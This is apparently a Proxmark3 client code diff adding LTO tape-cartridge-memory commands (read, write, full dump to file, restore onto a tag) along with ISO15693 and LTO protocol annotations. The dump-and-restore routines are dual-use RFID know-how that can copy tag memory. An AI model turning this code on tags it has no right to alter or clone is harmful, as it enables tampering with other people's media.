PrintAndLogEx(NORMAL, "Remaining segment payload: (I %d | K %d | Remain LEN %d)", i, k, remain_seg_payload_len); PrintAndLogEx(SUCCESS, "Remaining segment payload: (I %d | K %d | Remain LEN %d)", i, k, remain_seg_payload_len);
PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "\nrow | data");
PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------");
@ -444,14 +444,14 @@ static int CmdLegicInfo(const char *Cmd) {
int wrp_len = (wrp - wrc); int wrp_len = (wrp - wrc);
int remain_seg_payload_len = (card.cardsize - 22 - wrp); int remain_seg_payload_len = (card.cardsize - 22 - wrp);
PrintAndLogEx(NORMAL, "Unsegmented card - WRP: %02u, WRC: %02u, RD: %01u", PrintAndLogEx(SUCCESS, "Unsegmented card - WRP: %02u, WRC: %02u, RD: %01u",
wrp, wrp,
wrc, wrc,
(data[7] & 0x80) >> 7 (data[7] & 0x80) >> 7
); );
if (hasWRC) { if (hasWRC) {
PrintAndLogEx(NORMAL, "WRC protected area: (I %d | WRC %d)", i, wrc); PrintAndLogEx(SUCCESS, "WRC protected area: (I %d | WRC %d)", i, wrc);
PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "\nrow | data");
PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------");
print_hex_break(data + i, wrc, 16); print_hex_break(data + i, wrc, 16);
@ -460,7 +460,7 @@ static int CmdLegicInfo(const char *Cmd) {
} }
if (hasWRP) { if (hasWRP) {
PrintAndLogEx(NORMAL, "Remaining write protected area: (I %d | WRC %d | WRP %d | WRP_LEN %d)", i, wrc, wrp, wrp_len); PrintAndLogEx(SUCCESS, "Remaining write protected area: (I %d | WRC %d | WRP %d | WRP_LEN %d)", i, wrc, wrp, wrp_len);
PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "\nrow | data");
PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------");
print_hex_break(data + i, wrp_len, 16); print_hex_break(data + i, wrp_len, 16);
@ -470,7 +470,7 @@ static int CmdLegicInfo(const char *Cmd) {
// Q: does this one work? // Q: does this one work?
// A: Only if KGH/BGH is used with BCD encoded card number. Maybe this will show just garbage // A: Only if KGH/BGH is used with BCD encoded card number. Maybe this will show just garbage
if (wrp_len == 8) { if (wrp_len == 8) {
PrintAndLogEx(NORMAL, "Card ID: " _YELLOW_("%2X%02X%02X"), PrintAndLogEx(SUCCESS, "Card ID: " _YELLOW_("%2X%02X%02X"),
data[i - 4], data[i - 4],
data[i - 3], data[i - 3],
data[i - 2] data[i - 2]
@ -479,7 +479,7 @@ static int CmdLegicInfo(const char *Cmd) {
} }
if (remain_seg_payload_len > 0) { if (remain_seg_payload_len > 0) {
PrintAndLogEx(NORMAL, "Remaining segment payload: (I %d | Remain LEN %d)", i, remain_seg_payload_len); PrintAndLogEx(SUCCESS, "Remaining segment payload: (I %d | Remain LEN %d)", i, remain_seg_payload_len);
PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "\nrow | data");
PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------");
print_hex_break(data + i, remain_seg_payload_len, 16); print_hex_break(data + i, remain_seg_payload_len, 16);

View file

@ -404,6 +404,9 @@ void annotateIso15693(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) {
case ISO15693_READ_MULTI_BLOCK: case ISO15693_READ_MULTI_BLOCK:
snprintf(exp, size, "READ_MULTI_BLOCK"); snprintf(exp, size, "READ_MULTI_BLOCK");
return; return;
case ISO15693_WRITE_MULTI_BLOCK:
snprintf(exp, size, "WRITE_MULTI_BLOCK");
return;
case ISO15693_SELECT: case ISO15693_SELECT:
snprintf(exp, size, "SELECT"); snprintf(exp, size, "SELECT");
return; return;
@ -428,6 +431,78 @@ void annotateIso15693(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) {
case ISO15693_READ_MULTI_SECSTATUS: case ISO15693_READ_MULTI_SECSTATUS:
snprintf(exp, size, "READ_MULTI_SECSTATUS"); snprintf(exp, size, "READ_MULTI_SECSTATUS");
return; return;
case ISO15693_INVENTORY_READ:
snprintf(exp, size, "INVENTORY_READ");
return;
case ISO15693_FAST_INVENTORY_READ:
snprintf(exp, size, "FAST_INVENTORY_READ");
return;
case ISO15693_SET_EAS:
snprintf(exp, size, "SET_EAS");
return;
case ISO15693_RESET_EAS:
snprintf(exp, size, "RESET_EAS");
return;
case ISO15693_LOCK_EAS:
snprintf(exp, size, "LOCK_EAS");
return;
case ISO15693_EAS_ALARM:
snprintf(exp, size, "EAS_ALARM");
return;
case ISO15693_PASSWORD_PROTECT_EAS:
snprintf(exp, size, "PASSWORD_PROTECT_EAS");
return;
case ISO15693_WRITE_EAS_ID:
snprintf(exp, size, "WRITE_EAS_ID");
return;
case ISO15693_READ_EPC:
snprintf(exp, size, "READ_EPC");
return;
case ISO15693_GET_NXP_SYSTEM_INFO:
snprintf(exp, size, "GET_NXP_SYSTEM_INFO");
return;
case ISO15693_INVENTORY_PAGE_READ:
snprintf(exp, size, "INVENTORY_PAGE_READ");
return;
case ISO15693_FAST_INVENTORY_PAGE_READ:
snprintf(exp, size, "FAST_INVENTORY_PAGE_READ");
return;
case ISO15693_GET_RANDOM_NUMBER:
snprintf(exp, size, "GET_RANDOM_NUMBER");
return;
case ISO15693_SET_PASSWORD:
snprintf(exp, size, "SET_PASSWORD");
return;
case ISO15693_WRITE_PASSWORD:
snprintf(exp, size, "WRITE_PASSWORD");
return;
case ISO15693_LOCK_PASSWORD:
snprintf(exp, size, "LOCK_PASSWORD");
return;
case ISO15693_PROTECT_PAGE:
snprintf(exp, size, "PROTECT_PAGE");
return;
case ISO15693_LOCK_PAGE_PROTECTION:
snprintf(exp, size, "LOCK_PAGE_PROTECTION");
return;
case ISO15693_GET_MULTI_BLOCK_PROTECTION:
snprintf(exp, size, "GET_MULTI_BLOCK_PROTECTION");
return;
case ISO15693_DESTROY:
snprintf(exp, size, "DESTROY");
return;
case ISO15693_ENABLE_PRIVACY:
snprintf(exp, size, "ENABLE_PRIVACY");
return;
case ISO15693_64BIT_PASSWORD_PROTECTION:
snprintf(exp, size, "64BIT_PASSWORD_PROTECTION");
return;
case ISO15693_STAYQUIET_PERSISTENT:
snprintf(exp, size, "STAYQUIET_PERSISTENT");
return;
case ISO15693_READ_SIGNATURE:
snprintf(exp, size, "READ_SIGNATURE");
return;
default: default:
break; break;
} }
@ -1020,6 +1095,49 @@ void annotateFelica(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) {
} }
} }
void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) {
switch (cmd[0]) {
case LTO_REQ_STANDARD:
snprintf(exp, size, "REQ Standard");
break;
case LTO_SELECT:
if (cmd[1] == 0x70)
snprintf(exp, size, "SELECT_UID-2");
else if (cmd[1] == 0x20)
snprintf(exp, size, "SELECT");
break;
case LTO_REQ_ALL:
snprintf(exp, size, "REQ All");
break;
case LTO_TEST_CMD_1:
snprintf(exp, size, "TEST CMD 1");
break;
case LTO_TEST_CMD_2:
snprintf(exp, size, "TEST CMD 2");
break;
case LTO_READWORD:
snprintf(exp, size, "READWORD");
break;
case (LTO_READBLOCK & 0xF0):
snprintf(exp, size, "READBLOCK(%d)", cmd[1]);
break;
case LTO_READBLOCK_CONT:
snprintf(exp, size, "READBLOCK CONT");
break;
case LTO_WRITEWORD:
snprintf(exp, size, "WRITEWORD");
break;
case (LTO_WRITEBLOCK & 0xF0):
snprintf(exp, size, "WRITEBLOCK(%d)", cmd[1]);
break;
case LTO_HALT:
snprintf(exp, size, "HALT");
break;
default:
break;
}
}
void annotateMifare(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, uint8_t paritysize, bool isResponse) { void annotateMifare(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, uint8_t paritysize, bool isResponse) {
if (!isResponse && cmdsize == 1) { if (!isResponse && cmdsize == 1) {
switch (cmd[0]) { switch (cmd[0]) {

View file

@ -48,6 +48,7 @@ void annotateIso14443b(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize);
void annotateIso14443a(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateIso14443a(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize);
void annotateMfDesfire(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateMfDesfire(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize);
void annotateMifare(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, uint8_t paritysize, bool isResponse); void annotateMifare(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, uint8_t paritysize, bool isResponse);
void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize);
bool DecodeMifareData(uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, bool isResponse, uint8_t *mfData, size_t *mfDataLen); bool DecodeMifareData(uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, bool isResponse, uint8_t *mfData, size_t *mfDataLen);
bool NTParityChk(TAuthData *ad, uint32_t ntx); bool NTParityChk(TAuthData *ad, uint32_t ntx);

649
client/cmdhflto.c Normal file
View file

@ -0,0 +1,649 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2019 iceman
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LTO-CM commands
// LTO Cartridge memory
//-----------------------------------------------------------------------------
#include "cmdhflto.h"
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <inttypes.h>
#include "cmdparser.h" // command_t
#include "comms.h"
#include "cmdtrace.h"
#include "crc16.h"
#include "ui.h"
#include "cmdhf14a.h"
#include "protocols.h"
#include "fileutils.h" //saveFile
#define CM_MEM_MAX_SIZE 0x1FE0 // (32byte/block * 255block = 8160byte)
static int CmdHelp(const char *Cmd);
static int usage_lto_info(void) {
PrintAndLogEx(NORMAL, "Usage: hf lto info [h]");
PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h this help");
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " hf lto info");
return PM3_SUCCESS;
}
static int usage_lto_rdbl(void) {
PrintAndLogEx(NORMAL, "Usage: hf lto rdbl [h] s <start block> e <end block>");
PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h this help");
PrintAndLogEx(NORMAL, " s start block in decimal >= 0");
PrintAndLogEx(NORMAL, " e end block in decimal <= 254");
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " hf lto rdbl s 0 e 254 - Read data block from 0 to 254");
return PM3_SUCCESS;
}
static int usage_lto_wrbl(void) {
PrintAndLogEx(NORMAL, "Usage: hf lto wrbl [h] b <block> d <data>");
PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h this help");
PrintAndLogEx(NORMAL, " b block address (decimal, 0 - 254) ");
PrintAndLogEx(NORMAL, " d 32 bytes of data to write (64 hex characters, no space)");
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " hf lto wrbl b 128 d 0001020304050607080910111213141516171819202122232425262728293031 - write 00..31 to block address 128");
PrintAndLogEx(NORMAL, " Use 'hf lto rdbl' for verification");
return PM3_SUCCESS;
}
static int usage_lto_dump(void) {
PrintAndLogEx(NORMAL, "Usage: hf lto dump [h|p] f <filename>");
PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h this help");
PrintAndLogEx(NORMAL, " f file name");
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " hf lto dump f myfile");
return PM3_SUCCESS;
}
static int usage_lto_restore(void) {
PrintAndLogEx(NORMAL, "Usage: hf lto restore [h] f <filename>");
PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h this help");
PrintAndLogEx(NORMAL, " f file name [.bin|.eml]");
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " hf lto restore f hf_lto_92C7842CFF.bin|.eml");
return PM3_SUCCESS;
}
static void lto_switch_off_field(void) {
SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0);
}
static void lto_switch_on_field(void) {
SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_SELECT | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS, 0, 0, NULL, 0);
}
// send a raw LTO-CM command, returns the length of the response (0 in case of error)
static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16_t *response_len, bool addcrc, bool is7bits, bool verbose) {
uint64_t arg0 = ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS;
uint32_t arg1;
if (addcrc) {
arg0 |= ISO14A_APPEND_CRC;
}
if (is7bits) {
arg1 = 7 << 16;
} else {
arg1 = 0;
}
arg1 |= len;
SendCommandOLD(CMD_HF_ISO14443A_READER, arg0, arg1, 0, cmd, len);
PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
if (verbose) PrintAndLogEx(WARNING, "timeout while waiting for reply.");
return PM3_ETIMEOUT;
}
if (resp.oldarg[0] == *response_len) {
*response_len = resp.oldarg[0];
if (*response_len > 0) {
memcpy(response, resp.data.asBytes, *response_len);
}
} else {
if (verbose) PrintAndLogEx(WARNING, "Wrong response length (%d != %" PRIu64 ")", *response_len, resp.oldarg[0]);
return PM3_ESOFT;
}
return PM3_SUCCESS;
}
// select a LTO-CM tag. Send WUPA and RID.
static int lto_select(uint8_t *id_response, uint8_t id_len, uint8_t *type_response, bool verbose) {
// Todo: implement anticollision
uint8_t resp[] = {0, 0};
uint16_t resp_len;
uint8_t wupa_cmd[] = {LTO_REQ_STANDARD};
uint8_t select_sn_cmd[] = {LTO_SELECT, 0x20};
uint8_t select_cmd[] = {LTO_SELECT, 0x70, 0, 0, 0, 0, 0};
resp_len = 2;
int status = lto_send_cmd_raw(wupa_cmd, sizeof(wupa_cmd), type_response, &resp_len, false, true, verbose);
if (status == PM3_ETIMEOUT || status == PM3_ESOFT) {
return PM3_ESOFT; // WUPA failed
}
resp_len = id_len;
status = lto_send_cmd_raw(select_sn_cmd, sizeof(select_sn_cmd), id_response, &resp_len, false, false, verbose);
if (status == PM3_ETIMEOUT || status == PM3_ESOFT) {
return PM3_EWRONGANSVER; // REQUEST SERIAL NUMBER failed
}
memcpy(select_cmd + 2, id_response, sizeof(select_cmd) - 2);
resp_len = 1;
status = lto_send_cmd_raw(select_cmd, sizeof(select_cmd), resp, &resp_len, true, false, verbose);
if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) {
return PM3_EWRONGANSVER; // SELECT failed
}
// tag is now INIT and SELECTED.
return PM3_SUCCESS;
}
static int CmdHfLTOInfo(const char *Cmd) {
uint8_t cmdp = 0;
bool errors = false;
while (param_getchar(Cmd, cmdp) != 0x00 && !errors) {
switch (tolower(param_getchar(Cmd, cmdp))) {
case 'h':
return usage_lto_info();
default:
PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp));
errors = true;
break;
}
}
//Validations
if (errors) {
usage_lto_info();
return PM3_EINVARG;
}
return infoLTO(true);
}
int infoLTO(bool verbose) {
clearCommandBuffer();
lto_switch_on_field();
uint8_t serial_number[5];
uint8_t serial_len = sizeof(serial_number);
uint8_t type_info[2];
int ret_val = lto_select(serial_number, serial_len, type_info, verbose);
lto_switch_off_field();
if (ret_val == PM3_SUCCESS) {
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%s"), sprint_hex_inrow(serial_number, sizeof(serial_number)));
PrintAndLogEx(SUCCESS, "TYPE INFO: " _YELLOW_("%s"), sprint_hex_inrow(type_info, sizeof(type_info)));
}
return ret_val;
}
static int CmdHfLTOList(const char *Cmd) {
(void)Cmd; // Cmd is not used so far
CmdTraceList("lto");
return PM3_SUCCESS;
}
static int lto_rdbl(uint8_t blk, uint8_t *block_responce, uint8_t *block_cnt_responce, bool verbose) {
uint16_t resp_len = 18;
uint8_t rdbl_cmd[] = {0x30, blk};
uint8_t rdbl_cnt_cmd[] ={0x80};
int status = lto_send_cmd_raw(rdbl_cmd, sizeof(rdbl_cmd), block_responce, &resp_len, true, false, verbose);
if (status == PM3_ETIMEOUT || status == PM3_ESOFT ) {
return PM3_EWRONGANSVER; // READ BLOCK failed
}
status = lto_send_cmd_raw(rdbl_cnt_cmd, sizeof(rdbl_cnt_cmd), block_cnt_responce, &resp_len, false, false, verbose);
if (status == PM3_ETIMEOUT || status == PM3_ESOFT ) {
return PM3_EWRONGANSVER; // READ BLOCK CONTINUE failed
}
return PM3_SUCCESS;
}
int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose) {
clearCommandBuffer();
lto_switch_on_field();
uint8_t serial_number[5];
uint8_t serial_len = sizeof(serial_number);
uint8_t type_info[2];
int ret_val = lto_select(serial_number, serial_len, type_info, verbose);
if (ret_val != PM3_SUCCESS) {
lto_switch_off_field();
return ret_val;
}
uint8_t block_data_d00_d15[18];
uint8_t block_data_d16_d31[18];
uint8_t block_data[32];
for(uint8_t i = st_blk; i < end_blk + 1; i++) {
ret_val = lto_rdbl(i, block_data_d00_d15, block_data_d16_d31, verbose);
if (ret_val == PM3_SUCCESS) {
//Remove CRCs
for (int t = 0; t < 16; t++) {
block_data[t] = block_data_d00_d15[t];
block_data[t + 16] = block_data_d16_d31[t];
}
PrintAndLogEx(SUCCESS, "BLK %03d: " _YELLOW_("%s"), i, sprint_hex_inrow(block_data, sizeof(block_data)));
} else {
lto_switch_off_field();
return ret_val;
}
}
lto_switch_off_field();
return ret_val;
}
static int CmdHfLTOReadBlock(const char *Cmd) {
uint8_t cmdp = 0;
bool errors = false;
uint8_t st_blk = 0;
uint8_t end_blk = 254;
while (param_getchar(Cmd, cmdp) != 0x00 && !errors) {
switch (tolower(param_getchar(Cmd, cmdp))) {
case 'h':
return usage_lto_rdbl();
case 's':
st_blk = param_get8(Cmd, cmdp+1);
if ( end_blk < st_blk ) {
errors = true;
break;
}
cmdp += 2;
break;
case 'e':
end_blk = param_get8(Cmd, cmdp+1);
if ( end_blk < st_blk ) {
errors = true;
break; }
cmdp += 2;
break;
default:
PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp));
errors = true;
break;
}
}
//Validations
if (errors) {
usage_lto_rdbl();
return PM3_EINVARG;
}
return rdblLTO(st_blk, end_blk, true);
}
static int lto_wrbl(uint8_t blk, uint8_t *data, bool verbose) {
uint8_t resp[] = {0, 0};
uint16_t resp_len = 1;
uint8_t wrbl_cmd[] = {0xA0, blk};
uint8_t wrbl_d00_d15[16];
uint8_t wrbl_d16_d31[16];
for (int i = 0; i < 16; i++) {
wrbl_d00_d15[i] = data[i];
wrbl_d16_d31[i] = data[i+16];
}
int status = lto_send_cmd_raw(wrbl_cmd, sizeof(wrbl_cmd), resp, &resp_len, true, false, verbose);
if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) {
return PM3_EWRONGANSVER; // WRITE BLOCK failed
}
status = lto_send_cmd_raw(wrbl_d00_d15, sizeof(wrbl_d00_d15), resp, &resp_len, true, false, verbose);
if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) {
return PM3_EWRONGANSVER; // WRITE BLOCK failed
}
status = lto_send_cmd_raw(wrbl_d16_d31, sizeof(wrbl_d16_d31), resp, &resp_len, true, false, verbose);
if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) {
return PM3_EWRONGANSVER; // WRITE BLOCK failed
}
return PM3_SUCCESS;
}
int wrblLTO(uint8_t blk, uint8_t *data, bool verbose) {
clearCommandBuffer();
lto_switch_on_field();
uint8_t serial_number[5];
uint8_t serial_len = sizeof(serial_number);
uint8_t type_info[2];
int ret_val = lto_select(serial_number, serial_len, type_info, verbose);
if (ret_val != PM3_SUCCESS) {
lto_switch_off_field();
return ret_val;
}
ret_val = lto_wrbl(blk, data, verbose);
lto_switch_off_field();
if (ret_val == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "BLK %03d: " _YELLOW_("write success"), blk);
} else {
PrintAndLogEx(WARNING, "BLK %03d: write error. Maybe this is a read-only block address.", blk);
}
return ret_val;
}
static int CmdHfLTOWriteBlock(const char *Cmd) {
uint8_t cmdp = 0;
bool errors = false;
bool b_opt_selected = false;
bool d_opt_selected = false;
uint8_t blk = 128;
uint8_t blkData[32] = {0};
while (param_getchar(Cmd, cmdp) != 0x00 && !errors) {
switch (tolower(param_getchar(Cmd, cmdp))) {
case 'h':
return usage_lto_wrbl();
case 'b':
blk = param_get8(Cmd, cmdp+1);
b_opt_selected = true;
cmdp += 2;
break;
case 'd':
if (param_gethex(Cmd, cmdp+1, blkData, 64)) {
PrintAndLogEx(WARNING, "block data must include 64 HEX symbols");
errors = true;
break;
}
d_opt_selected = true;
cmdp += 2;
break;
default:
PrintAndLogEx(WARNING, "unknown parameter '%c'", param_getchar(Cmd, cmdp));
errors = true;
break;
}
}
//Validations
if (errors) {
usage_lto_wrbl();
return PM3_EINVARG;
} else if (b_opt_selected == false || d_opt_selected == false) {
PrintAndLogEx(WARNING, "Need to specify block address and data. See usage, h option");
return PM3_EINVARG;
}
return wrblLTO(blk, blkData, true);
}
int dumpLTO(uint8_t *dump, bool verbose) {
clearCommandBuffer();
lto_switch_on_field();
uint8_t serial_number[5];
uint8_t serial_len = sizeof(serial_number);
uint8_t type_info[2];
int ret_val = lto_select(serial_number, serial_len, type_info, verbose);
if (ret_val != PM3_SUCCESS) {
lto_switch_off_field();
return ret_val;
}
uint8_t block_data_d00_d15[18];
uint8_t block_data_d16_d31[18];
for(uint8_t i = 0; i < 255; i++) {
ret_val = lto_rdbl(i, block_data_d00_d15, block_data_d16_d31, verbose);
if (ret_val == PM3_SUCCESS) {
//Remove CRCs
for (int t = 0; t < 16; t++) {
dump[t + i * 32] = block_data_d00_d15[t];
dump[t + i * 32 + 16] = block_data_d16_d31[t];
}
} else {
lto_switch_off_field();
return ret_val;
}
}
lto_switch_off_field();
return ret_val;
}
static int CmdHfLTODump(const char *Cmd) {
uint8_t cmdp = 0;
bool errors = false;
uint32_t dump_len = CM_MEM_MAX_SIZE;
char filename[FILE_PATH_SIZE] = {0};
char serial_number[10] = {0};
while (param_getchar(Cmd, cmdp) != 0x00 && !errors) {
switch (tolower(param_getchar(Cmd, cmdp))) {
case 'h':
return usage_lto_dump();
case 'f':
if (param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE) >= FILE_PATH_SIZE) {
PrintAndLogEx(FAILED, "filename too long");
errors = true;
break;
}
cmdp += 2;
break;
default:
PrintAndLogEx(WARNING, "unknown parameter '%c'", param_getchar(Cmd, cmdp));
errors = true;
break;
}
}
//Validations
if (errors) {
usage_lto_dump();
return PM3_EINVARG;
}
// alloc memory
uint8_t *dump = calloc(dump_len, sizeof(uint8_t));
if (!dump) {
PrintAndLogEx(ERR, "error, cannot allocate memory");
return PM3_EMALLOC;
}
// loop all blocks
int ret_val = dumpLTO(dump, true);
if (ret_val != PM3_SUCCESS) {
free(dump);
return ret_val;
}
// save to file
if (filename[0] == '\0') {
memcpy(serial_number, sprint_hex_inrow(dump, sizeof(serial_number)), sizeof(serial_number));
char tmp_name[17] = "hf_lto_";
strcat(tmp_name, serial_number);
memcpy(filename, tmp_name, sizeof(tmp_name));
}
saveFile(filename, ".bin", dump, dump_len);
saveFileEML(filename, dump, dump_len, 32);
// free memory
free(dump);
return PM3_SUCCESS;
}
int restoreLTO(uint8_t *dump_data, bool verbose) {
clearCommandBuffer();
lto_switch_on_field();
uint8_t type_info[2];
uint8_t serial_number[5];
uint8_t serial_len = sizeof(serial_number);
int ret_val = lto_select(serial_number, serial_len, type_info, verbose);
if (ret_val != PM3_SUCCESS) {
lto_switch_off_field();
return ret_val;
}
uint8_t blkData[32] = {0};
//Block address 0 and 1 are read-only
for(uint8_t blk = 2; blk < 255; blk++) {
for (int i = 0; i < 32; i++) {
blkData[i] = dump_data[i + blk * 32];
}
ret_val = lto_wrbl(blk, blkData, verbose);
if (ret_val == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "BLK %03d: " _YELLOW_("write success"), blk);
} else {
lto_switch_off_field();
return ret_val;
}
}
lto_switch_off_field();
return ret_val;
}
static int CmdHfLTRestore(const char *Cmd) {
uint8_t cmdp = 0;
bool errors = false;
int is_data_loaded = PM3_ESOFT;
char filename[FILE_PATH_SIZE] = {0};
char extension[FILE_PATH_SIZE] = {0};
uint8_t dump_data[CM_MEM_MAX_SIZE] = {0};
size_t dump_datalen = 0;
while (param_getchar(Cmd, cmdp) != 0x00 && !errors) {
switch (tolower(param_getchar(Cmd, cmdp))) {
case 'h':
return usage_lto_restore();
case 'f':
param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE);
if (strlen(filename) == 0)
errors = true;
cmdp += 2;
break;
default:
PrintAndLogEx(WARNING, "unknown parameter '%c'", param_getchar(Cmd, cmdp));
errors = true;
break;
}
}
if (errors || (strlen(filename)) == 0) {
usage_lto_restore();
return PM3_EINVARG;
}
// split file name into prefix and ext.
int fnLength;
fnLength = strlen(filename);
if (fnLength > 4) {
memcpy(extension, &filename[fnLength - 4], 4);
extension[5] = 0x00;
// check if valid file extension and attempt to load data
if (memcmp(extension, ".bin", 4) == 0) {
filename[fnLength - 4] = 0x00;
is_data_loaded = loadFile(filename, ".bin", dump_data, sizeof(dump_data), &dump_datalen);
} else if (memcmp(extension, ".eml", 4) == 0) {
filename[fnLength - 4] = 0x00;
dump_datalen = 12;
is_data_loaded = loadFileEML(filename, (uint8_t *)dump_data, &dump_datalen);
} else
PrintAndLogEx(WARNING, "\nWarning: invalid dump filename "_YELLOW_("%s")"to restore!\n", filename);
}
if (is_data_loaded == PM3_SUCCESS) {
return restoreLTO(dump_data, true);
} else {
return PM3_EFILE;
}
}
static command_t CommandTable[] = {
{"help", CmdHelp, AlwaysAvailable, "This help"},
{"dump", CmdHfLTODump, IfPm3Iso14443a, "Dump LTO-CM tag to file"},
{"restore", CmdHfLTRestore, IfPm3Iso14443a, "Restore dump file to LTO-CM tag"},
{"info", CmdHfLTOInfo, IfPm3Iso14443a, "Tag information"},
{"rdbl", CmdHfLTOReadBlock, IfPm3Iso14443a, "Read block"},
{"wrbl", CmdHfLTOWriteBlock, IfPm3Iso14443a, "Write block"},
{"list", CmdHfLTOList, AlwaysAvailable, "List LTO-CM history"},
{NULL, NULL, NULL, NULL}
};
static int CmdHelp(const char *Cmd) {
(void)Cmd; // Cmd is not used so far
CmdsHelp(CommandTable);
return PM3_SUCCESS;
}
int CmdHFLTO(const char *Cmd) {
clearCommandBuffer();
return CmdsParse(CommandTable, Cmd);
}

24
client/cmdhflto.h Normal file
View file

@ -0,0 +1,24 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2019 iceman
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LTO-CM commands
//-----------------------------------------------------------------------------
#ifndef CMDHFLTO_H__
#define CMDHFLTO_H__
#include "common.h"
int infoLTO(bool verbose);
int dumpLTO(uint8_t *dump, bool verbose);
int restoreLTO(uint8_t *dump, bool verbose);
int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose);
int wrblLTO(uint8_t blk, uint8_t *data, bool verbose);
int CmdHFLTO(const char *Cmd);
#endif

File diff suppressed because it is too large Load diff

View file

@ -22,5 +22,6 @@ int CmdHF14AMfDbg(const char *Cmd); // used by cmd hf mfu dbg
void showSectorTable(void); void showSectorTable(void);
void readerAttack(nonces_t data, bool setEmulatorMem, bool verbose); void readerAttack(nonces_t data, bool setEmulatorMem, bool verbose);
void printKeyTable(uint8_t sectorscnt, sector_t *e_sector); void printKeyTable(uint8_t sectorscnt, sector_t *e_sector);
void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_sector);
void printKeyTable_fast(uint8_t sectorscnt, icesector_t *e_sector, uint64_t bar, uint64_t foo); void printKeyTable_fast(uint8_t sectorscnt, icesector_t *e_sector, uint64_t bar, uint64_t foo);
#endif #endif

View file

@ -33,7 +33,7 @@ static int CmdHF14ADesInfo(const char *Cmd) {
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
PrintAndLogEx(WARNING, "Command execute timeout"); PrintAndLogEx(WARNING, "Command execute timeout");
return 0; return PM3_ETIMEOUT;
} }
uint8_t isOK = resp.oldarg[0] & 0xff; uint8_t isOK = resp.oldarg[0] & 0xff;
if (!isOK) { if (!isOK) {
@ -49,7 +49,7 @@ static int CmdHF14ADesInfo(const char *Cmd) {
PrintAndLogEx(WARNING, "Command unsuccessful"); PrintAndLogEx(WARNING, "Command unsuccessful");
break; break;
} }
return 0; return PM3_ESOFT;
} }
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
